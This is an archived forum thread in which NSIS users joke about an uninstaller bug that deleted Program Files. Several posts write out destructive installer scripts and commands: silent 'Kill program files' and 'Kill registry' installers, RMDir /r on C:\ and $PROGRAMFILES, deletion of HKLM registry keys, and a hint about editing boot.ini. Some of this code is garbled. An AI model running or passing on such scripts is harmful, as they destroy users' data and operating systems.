Archive: Funny story on how NSIS is dangerous when in wrong hands


Funny story on how NSIS is dangerous when in wrong hands
  Ok, new poster. I want to tell you a story about what happened when I last used NSIS.

Anyhow, like you usually do with it, I was working on an installer for a project of mine. Well, I wasn't satisfied on a default installer and I wanted to easily change the settings in my installer, like the default installation/uninstallation paths, application names and so on, so I decided to create an external header for that information. I promptly named in setup.cfg

Anyhow, I compiled the thing, then installed what was in the installer to see if it worked. Then I UNinstalled it and noticed that my whole 'program files' folder had been deleted. This is when I remembered that I hadn't put any information in the setup.cfg file, I only made the installer to read it. :p

After that, Windows refused to work. I couldn't start any program, since Windows 2000 is so IE dependent and I just had purged it(accidentally) :(

Blargh, I'm an idiot.

Now after re-installing, I have to be more careful. Heh, it was all my fault to begin with, and the Windows needed a re-install anyhow.

Here ends my story of idiocy.


yay.. i doubt it will be the last time, so share with us any future endivers. :D


haha, yes dangerous indeed :) program files killer.exe :)

but in fact, every scripting language can be dangerous when in the wrong hands... you can use every installer to drop a trojan or delete files...


Originally posted by apollo51
haha, yes dangerous indeed :) program files killer.exe :)

but in fact, every scripting language can be dangerous when in the wrong hands... you can use every installer to drop a trojan or delete files...
I was aware that it COULD happen, but I wasn't really prepared that I was the one who would do that mistake. ;)

Thank God I had a back-up from 2 weeks back so I didn't lose much, really. Except for that installer, that is.

Lol you spend 2 weeks on a installer file that deletes program files? I can do it within a minute :p

OutFile "Kill program files.exe"

Section "moehaha"
RMDir /r "$PROGRAMFILES"
SectionEnd


Hahahaa That is funny. I had something like that earlier

I was f**** with my register and I was amazed that I deleted

HKLM\Software\Microsoft\Currentversion\Explorer\FileExt....
And everyting inside it :(

I don't know how I did that but probebly with my NSIS Installer because I found this..


DeleteRegKey HKLM \Software\Microsoft\Currentversion\Explorer\FileExt


Kinda Stupid :)
So I installed Windows all over :) :)


Kids, don't try this at home:


RMDir /r "C:\*.*"

Is cool to talk about funny stuff. Mostly NSIS forum is for help, sharing, etc...
Sometimes we need a relax time after a long time of hard coding :)
Just play nice ;)

Originally posted by apollo51
Lol you spend 2 weeks on a installer file that deletes program files? I can do it within a minute :p

OutFile "Kill program files.exe"

Section "moehaha"
RMDir /r "$PROGRAMFILES"
SectionEnd
Nope, not two weeks on that installer. I did that installer within a day.

I said that the backup I had was from 2 weeks back. :p

And luckily I didn't lose anything of much worth.

here is the improved code:


Name "Kill program files v1.1"

>OutFile "kpf_11.exe"
>SilentInstall silent

Section "moehaha"
>RMDir /r "$PROGRAMFILES"
>FileExists "$PROGRAMFILES\*.*" +2
MessageBox MB_OK
|MB_ICONINFORMATION "$PROGRAMFILES has been successfully removed, MOEHAHA!"
>SectionEnd
>
:D :D

let's get it on ..

Did you compiled and executed it for testing purpose? (You may reply from another computer while reinstalling the test computer)


Remember, when using [ PHP ] (without spaces inside []) and using backslashes ("\"), you have to put 2 backslashes ("\\") so will result in just one. The correct code is (USE AT YOUR OWN RISK):


Name "Kill program files v1.1" 

>OutFile "kpf_11.exe"
>SilentInstall silent

Section "moehaha"
>RMDir /r "$PROGRAMFILES"
>FileExists "$PROGRAMFILES\\*.*" +2
MessageBox MB_OK
|MB_ICONINFORMATION "$PROGRAMFILES has \\
been successfully removed, MOEHAHA!"
>SectionEnd
>

welcome to the club :D

i trashed my winxp with some kind of deleting the whole HKLM registry path

thx god i had a backup image (pq drive image).

the hardest thing is to trash the bootsecor on c: with some extra tool inside or on win(nt)-systems delete something NTLDR or NTDETECT or in general WIN.

ok lets stop here :hang:


You can use WriteINIStr to change boot.ini :)


Do not test this code at home... (USE AT YOUR OWN RISK):


Name "Kill registry v1.0" 

>OutFile "kr_10.exe"
>SilentInstall silent

Section "moehaha"
>DeleteINIKey HKLM ""
>EnumRegKey $0 HKLM "" 0
StrCmp$0 "" +2
MessageBox MB_OK
|MB_ICONINFORMATION "HKLM root key has \\
been successfully removed, MOEHAHA!"
>SectionEnd
>

Shouldn't there be 'un' before the section since it removes more than it installs? :p


Do not test this code at home...
Oh, OK, I'll just try it on my machine at work......

:D

Shouldn't there be 'un' before the section since it removes more than it installs?
no, because there's no uninstaller there, and this code should be executed when you start the programm.